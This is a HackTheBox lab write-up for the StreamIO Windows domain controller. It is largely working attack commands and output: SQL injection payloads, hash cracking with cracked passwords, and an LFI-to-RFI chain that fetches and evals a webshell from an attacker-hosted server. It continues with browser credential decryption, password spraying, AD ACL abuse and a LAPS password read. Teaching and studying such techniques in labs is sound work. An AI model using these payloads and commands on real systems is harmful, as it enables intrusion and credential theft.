HTB: StreamIO Writeup
StreamIO - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | StreamIO |
| OS | Windows |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.43.206 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
StreamIO is a Windows Active Directory domain controller fronting a movie-streaming site split across two virtual hosts. The watch.streamio.htb subdomain exposes a search.php endpoint vulnerable to a union-based MSSQL injection, but the interesting part isn’t the injection itself — it’s an output filter sitting in front of the response that silently mangles or kills any query returning more than one row, or containing hex literals. Extracting the full users table requires collapsing the result set into a single row with STRING_AGG. The cracked hashes yield a web-only login, which unlocks an /admin/ panel vulnerable to LFI via the php://filter wrapper — leaking application source that in turn reveals an RFI sink (eval(file_get_contents($_POST['include']))). That RFI gives direct command execution as streamio\yoshihide. From there, the leaked MSSQL service account is reused to query a second, forgotten database (STREAMIO_BACKUP) that contains a real domain account. That account’s Firefox profile holds saved credentials for an internal Slack instance, and spraying the decrypted passwords lands a service account with a WriteOwner ACL over a privileged group. Seizing that group grants LDAP read rights on the domain’s legacy LAPS attribute, which hands over the local Administrator password on the DC.
TL;DR: MSSQL union SQLi (behind a row-count/hex output filter) on watch.streamio.htb → crack leaked hashes → web login → /admin/ LFI (php://filter) leaks DB creds and RFI sink → RFI RCE as yoshihide → PowerShell SqlClient pivot into STREAMIO_BACKUP → cracked nikk37 domain creds → WinRM → decrypt Firefox saved logins → SMB spray finds JDgodd → bloodyAD WriteOwner/GenericAll abuse adds JDgodd to CORE STAFF → LDAP LAPS read → Administrator.
Reconnaissance
Service Footprint
The externally-relevant surface used across the chain: HTTPS on the two virtual hosts streamio.htb (login portal) and watch.streamio.htb (streaming/search app), plus the standard Windows-AD-DC service set exploited later in the chain — SMB (445), LDAP (389), and WinRM (5985). No CVE-based service exploitation is involved anywhere in this chain; every step below is a web application logic flaw or an AD ACL misconfiguration.
Service Enumeration — watch.streamio.htb/search.php
The search feature on watch.streamio.htb takes a q parameter and is injectable into a 6-column UNION SELECT. Since the base search query normally returns 0 rows for a non-matching term, a throwaway prefix keeps the union clean:
# baseline: non-matching search term + 6-column union probecurl -sk https://watch.streamio.htb/search.php \ -X POST --data-urlencode "q=zzz' union select 1,@@version,3,4,5,6-- -"This confirmed the backend as Microsoft SQL Server 2019 (RTM) on Windows Server 2019, reflected into an <h5 class="p-2"> element in the response.
Vulnerability Assessment — the output filter
Two behaviors made this injection non-trivial to extract data from:
- Hex literals get nuked. Any payload containing an
0x...literal (a common technique for smuggling binary-safe strings past quoting issues) came back as a literal 7-byte body:blocked. Confirmed by diffing a0x686f77647931payload (7-byteblockedresponse) against the same query usingchar()-built strings (renders normally). - Multi-row UNION output silently kills the response. Any query returning more than one row from
users(select username from users,select username, password from users) came back as an empty 0-byte body instead of an error — no filter message, just dead air. Single-row aggregates (@@version,max(),count()) rendered fine, which pinned the failure to row count rather than syntax.
# single-row aggregate — workscurl -sk https://watch.streamio.htb/search.php -X POST \ --data-urlencode "q=zzz' union select 1,max(username),3,4,5,6-- -"
# multi-row select — silently returns 0 bytes, no error textcurl -sk https://watch.streamio.htb/search.php -X POST \ --data-urlencode "q=zzz' union select 1,username,3,4,5,6 from users-- -"The fix is to collapse the entire table into one aggregated row with STRING_AGG, using char() codes instead of any raw punctuation the filter might flag as a delimiter:
# dump every user:pass pair as ONE row, pipe-delimited, no hex literals anywhereQ="zzz' union select 1,(select string_agg(concat(username,char(58),password),char(124)) from users),3,4,5,6-- -"
curl -sk https://watch.streamio.htb/search.php -X POST --data-urlencode "q=$Q" \ | python3 -c 'import sys, reh = sys.stdin.read()m = re.search(r"<h5 class=\"p-2\">(.*?)</h5>", h, re.S)print(m.group(1).replace(chr(124), chr(10)) if m else "NONE")'A second quirk showed up under load: the MSSQL connection appeared to need “warming” — a burst of 5–15 rapid @@version requests fired immediately before the real query noticeably improved the odds of getting a populated response back instead of an empty one. This pointed to connection-pool/first-request latency rather than a hard rate limit, since spacing single shots too tightly triggered the same empty-response behavior from the other direction.
This produced all 30 username:MD5hash pairs in a single response.
Initial Foothold
Cracking the leaked hashes
The 30 extracted hashes were 32-hex MD5. Feeding them to hashcat against rockyou cracked 12:
hashcat -m 0 -a 0 --quiet --potfile-path=/tmp/sio.pot hashes.txt /usr/share/wordlists/rockyou.txt -Ohashcat -m 0 hashes.txt --show --potfile-path=/tmp/sio.potThane:highschoolmusicalLenord:physics69iadmin:paddpaddyoshihide:66boysandgirls..Clara:%$claraBruno:$monique$1991$Barry:$hadoWJuliette:$3xybitchLauren:##123a8j8w5123##Victoria:!5psycho8!Michelle:!?Love?!123Sabrina:!!sabrina$Login brute-force
streamio.htb/login.php doesn’t return a distinctive failure string in the body worth grepping — a failed login simply returns 200 with no redirect, while a successful login issues a Location header. Every cracked pair was tried against this signal:
while IFS=: read u p; do r=$(curl -sk https://streamio.htb/login.php -X POST \ --data-urlencode "username=$u" --data-urlencode "password=$p" \ -m15 -D - -o /dev/null) loc=$(echo "$r" | grep -i "^location:") echo "$u:$p => ${loc:-nologin}"done < pairs.txtOnly one pair produced a Location: redirect: yoshihide:66boysandgirls.. — notably, admin:paddpadd did not authenticate, ruling out the obvious guess.
LFI → source disclosure → RFI RCE
Logging in with yoshihide unlocked /admin/, exposing ?user=, ?staff=, ?movie=, ?message=, and a ?debug= parameter. debug takes a path and includes it server-side — a straightforward target for the PHP php://filter wrapper to read source instead of executing it:
# LFI: base64-encode index.php instead of executing it, to read the sourcecurl -sk "https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php" \ -b cj.txt -o dbg.html# then grep the base64 blob out of the response and decode itDecoding the blob revealed the MSSQL connection block:
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');$handle = sqlsrv_connect('(local)',$connection);Repeating the same LFI against master.php (referenced by index.php’s routing but not directly reachable — it dies with “Only accessible through includes” if hit directly) leaked a second, more dangerous sink:
if(isset($_POST['include'])){ if($_POST['include'] !== "index.php") eval(file_get_contents($_POST['include'])); else echo(" ---- ERROR ---- ");}file_get_contents() accepts a URL, so include can point at attacker-controlled infrastructure — and whatever it fetches is handed straight to eval(). Since master.php refuses direct access, the trick is to reach it through the same ?debug= LFI on index.php, which satisfies the “only via include” guard while still executing attacker-supplied PHP fetched over HTTP: a chained LFI-into-RFI.
A minimal payload was hosted locally (no <?php tags needed — eval() is already in PHP context):
system($_GET['c']);# serve the payload over HTTP on the tun0 interfacepython3 -m http.server 8000 --bind 10.10.15.180
# trigger: GET debug=master.php (satisfies the include-guard) with a POST body# pointing 'include' at the hosted payload, command passed via GET 'c'curl -sk "https://streamio.htb/admin/?debug=master.php&c=whoami" \ -b cj.txt -X POST --data-urlencode "include=http://10.10.15.180:8000/p.php" -m20The response body echoed streamio\yoshihide directly — full command execution with output returned inline in the HTTP response, no reverse shell required.
Privilege Escalation
Pivoting via a second database
The db_admin credential recovered from index.php only connects locally ((local)) from the DC itself, but the RFI RCE runs code on the DC — so it can be used as a local pivot. A .NET SqlClient PowerShell one-liner run through the same webshell queried a database beyond the one used by the web app, STREAMIO_BACKUP, which turned out to still hold a full copy of the users table, including at least one genuine domain account:
PS='$cn=New-Object System.Data.SqlClient.SqlConnection("Server=localhost;Database=STREAMIO_BACKUP;User ID=db_admin;Password=B1@hx31234567890");$cn.Open();$cmd=$cn.CreateCommand();$cmd.CommandText="select username,password from users";$r=$cmd.ExecuteReader();while($r.Read()){Write-Output ("ROW:"+$r[0]+":"+$r[1])}'B64=$(echo -n "$PS" | iconv -t UTF-16LE | base64 -w0)
curl -sk "https://streamio.htb/admin/?debug=master.php&c=powershell%20-nop%20-e%20$B64" \ -b cj.txt -X POST --data-urlencode "include=http://10.10.15.180:8000/p.php" -m40 \ | grep -a "ROW:"This returned nikk37 alongside the same web-only usernames already seen — the one row not present in the front-end dump. Cracking nikk37’s hash against rockyou gave get_dem_girls2@yahoo.com.
Domain foothold via WinRM
nikk37 is in Remote Management Users. evil-winrm failed with a Ruby NoMethodError on this target, so command execution was driven through netexec instead:
nxc winrm 10.129.43.206 -u nikk37 -p 'get_dem_girls2@yahoo.com' \ -x 'type C:\Users\nikk37\Desktop\user.txt'# streamIO.htb\nikk37:get_dem_girls2@yahoo.com (Pwn3d!)Firefox credential harvesting
nikk37’s Firefox profile contained a saved-logins database. Both files were pulled out as base64 over the same nxc execution channel and reassembled locally (careful line-parsing was needed — each output line is prefixed with the nxc target/status banner, which has to be stripped before concatenating the base64):
P='C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release'
nxc winrm 10.129.43.206 -u nikk37 -p 'get_dem_girls2@yahoo.com' \ -x "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\"$P\key4.db\"))" > raw_key4.db.txtnxc winrm 10.129.43.206 -u nikk37 -p 'get_dem_girls2@yahoo.com' \ -x "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\"$P\logins.json\"))" > raw_logins.json.txt
# strip the nxc banner prefix from every wrapped line, then decodepython3 -c 'import re, base64for f in ["key4.db", "logins.json"]: lines = open("raw_"+f+".txt").read().splitlines() b64 = "".join(re.search(r"DC\s+([A-Za-z0-9+/=]+)\s*$", l).group(1) for l in lines if re.search(r"DC\s+([A-Za-z0-9+/=]+)\s*$", l)) open(f, "wb").write(base64.b64decode(b64))'firepwd.py decrypts the NSS-encrypted key4.db against the saved logins.json entries:
python3 firepwd.py -d ~/https://slack.streamio.htb: admin / JDg0dd1s@d0p3cr3@t0rhttps://slack.streamio.htb: nikk37 / n1kk1sd0p3t00:)https://slack.streamio.htb: yoshihide / paddpadd@12https://slack.streamio.htb: JDgodd / password@12Firefox’s stored username/password pairing for the first entry isn’t necessarily correct for that literal account — it’s just what was saved against that URL. Rather than trust the label, every username was sprayed against every recovered password over SMB:
nxc smb 10.129.43.206 -u su.txt -p sp.txt --no-bruteforce --continue-on-success# [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0rThe valid combination turned out to be JDgodd:JDg0dd1s@d0p3cr3@t0r — the password saved next to the admin label, but actually valid for the JDgodd account.
ACL abuse: WriteOwner → CORE STAFF → LAPS
JDgodd doesn’t have a usable interactive shell, but AD ACL abuse doesn’t require one — bloodyAD operates purely over LDAP with the recovered credentials:
H=10.129.43.206; U=JDgodd; P='JDg0dd1s@d0p3cr3@t0r'; D=streamio.htb
# take ownership of the CORE STAFF group objectbloodyAD -d $D -u $U -p "$P" --host $H set owner "CORE STAFF" $U# [!] already the owner — ownership was already in place
# owning the object grants the right to grant rights: take GenericAllbloodyAD -d $D -u $U -p "$P" --host $H add genericAll "CORE STAFF" $U# [+] JDgodd has now GenericAll on CORE STAFF
# GenericAll includes group-membership writesbloodyAD -d $D -u $U -p "$P" --host $H add groupMember "CORE STAFF" $U# [+] JDgodd added to CORE STAFFCORE STAFF carries LDAP read rights on the domain’s LAPS attribute (the legacy ms-Mcs-AdmPwd schema, not the newer Windows LAPS attribute set) — a common misconfiguration where a group is granted LAPS-read for operational reasons without the membership itself being locked down. With JDgodd inside it:
# via netexec's LAPS modulenxc ldap 10.129.43.206 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -M laps
# equivalent raw LDAP queryldapsearch -x -H ldap://10.129.43.206 -D 'JDgodd@streamio.htb' -w 'JDg0dd1s@d0p3cr3@t0r' \ -b 'DC=streamIO,DC=htb' '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd sAMAccountNamesAMAccountName: DC$ms-Mcs-AdmPwd: E77Q2JK[b2nhLpThat’s the local Administrator password on the DC, rotated by LAPS but readable through the group membership just granted.
nxc winrm 10.129.43.206 -u administrator -p 'E77Q2JK[b2nhLp'# streamIO.htb\administrator:E77Q2JK[b2nhLp (Pwn3d!)
nxc winrm 10.129.43.206 -u administrator -p 'E77Q2JK[b2nhLp' \ -x 'type C:\Users\martin\Desktop\root.txt'Note the flag isn’t under Administrator’s own profile — it’s in martin’s Desktop, reachable once authenticated as Administrator.
Attack Chain Summary
watch.streamio.htb/search.php MSSQL union SQLi (output-filter bypass via STRING_AGG) → dump users table → crack 12/30 MD5 hashes → web login as yoshihide (streamio.htb/login.php) → /admin/ LFI (php://filter) leaks index.php + master.php source → chained RFI: debug=master.php + POST include=<hosted payload> → eval() RCE → RCE as streamio\yoshihide → PowerShell SqlClient pivot into STREAMIO_BACKUP (db_admin creds) → recover nikk37 domain hash → crack → WinRM as nikk37 → user.txt → exfil + decrypt nikk37's Firefox key4.db/logins.json (firepwd.py) → SMB spray decrypted creds → valid JDgodd:JDg0dd1s@d0p3cr3@t0r → bloodyAD: set owner / add genericAll / add groupMember → CORE STAFF → CORE STAFF LDAP-reads LAPS ms-Mcs-AdmPwd → local Administrator password → WinRM as administrator → root.txt (martin's Desktop)Tools Used
| Tool | Purpose |
|---|---|
curl | Manual MSSQL union SQLi probing, LFI/RFI triggering, login brute signal detection |
hashcat | Cracking MD5 hashes (rockyou.txt) recovered via SQLi and via STREAMIO_BACKUP |
python3 | Response parsing, base64 reassembly, orchestration of extraction loops |
netexec (nxc) | WinRM command execution, SMB credential spray, LDAP LAPS read |
firepwd.py | Offline decryption of Firefox key4.db/logins.json saved credentials |
bloodyAD | Remote AD ACL abuse (set owner, GenericAll, group membership) without an interactive shell |
ldapsearch | Raw LDAP query for the LAPS ms-Mcs-AdmPwd attribute |
python3 -m http.server | Hosting the RFI payload for the master.php eval(file_get_contents()) sink |
Key Learnings
Techniques Practiced
- Union-based MSSQL injection through a lossy output filter (row-count and hex-literal blocking)
- Collapsing multi-row SQLi extraction into single-row output via
STRING_AGG - Credential-stuffing cracked hashes against a separate web login form
- LFI via the
php://filter/convert.base64-encodewrapper for source disclosure - Chaining an include-gated LFI into a reachable RFI (
eval(file_get_contents())) for RCE - Reusing a leaked DB service account to reach a second, forgotten database with more current data
- Decrypting Firefox NSS-encrypted saved logins (
key4.db+logins.json) offline - Cross-product credential spraying instead of trusting saved-password labels
- Direct-LDAP AD ACL abuse (WriteOwner → GenericAll → group membership) without a shell as the target account
- Legacy LAPS (
ms-Mcs-AdmPwd) password disclosure via group-based LDAP read rights
Lessons Learned
- An output filter that silently returns empty bodies is not “unexploitable” — it’s a data-shape constraint. Aggregating results into one row sidesteps a row-count-based filter entirely.
- Decrypted saved-browser credentials should never be trusted as correctly labeled — the account name attached to a saved login is whatever the site prompted for, not necessarily whose password it is. Spray, don’t assume.
- A leaked service-account credential is worth re-testing against every database it can see, not just the one the application actually uses — forgotten backup databases routinely contain fresher or additional data than the live schema.
- AD privilege escalation chains don’t require an interactive shell as the vulnerable account — LDAP-native tooling (
bloodyAD) can execute an entire ACL-abuse chain (WriteOwner → GenericAll → membership) purely with captured credentials. - Group-based LAPS read rights are a high-value target: compromising membership in a group with LAPS read is functionally equivalent to compromising the account whose password LAPS manages.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- StreamIO - HackTheBox Official Writeup — TheCyberGeek (Document No. D22.100.176), used here for conceptual context on the WAF/SQLi structure, the LFI→RFI chain rationale, and the WriteOwner→CORE STAFF→LAPS privilege-escalation path. All commands, credentials, hashes, IPs, and outputs in this writeup are from the actual solve, not the reference.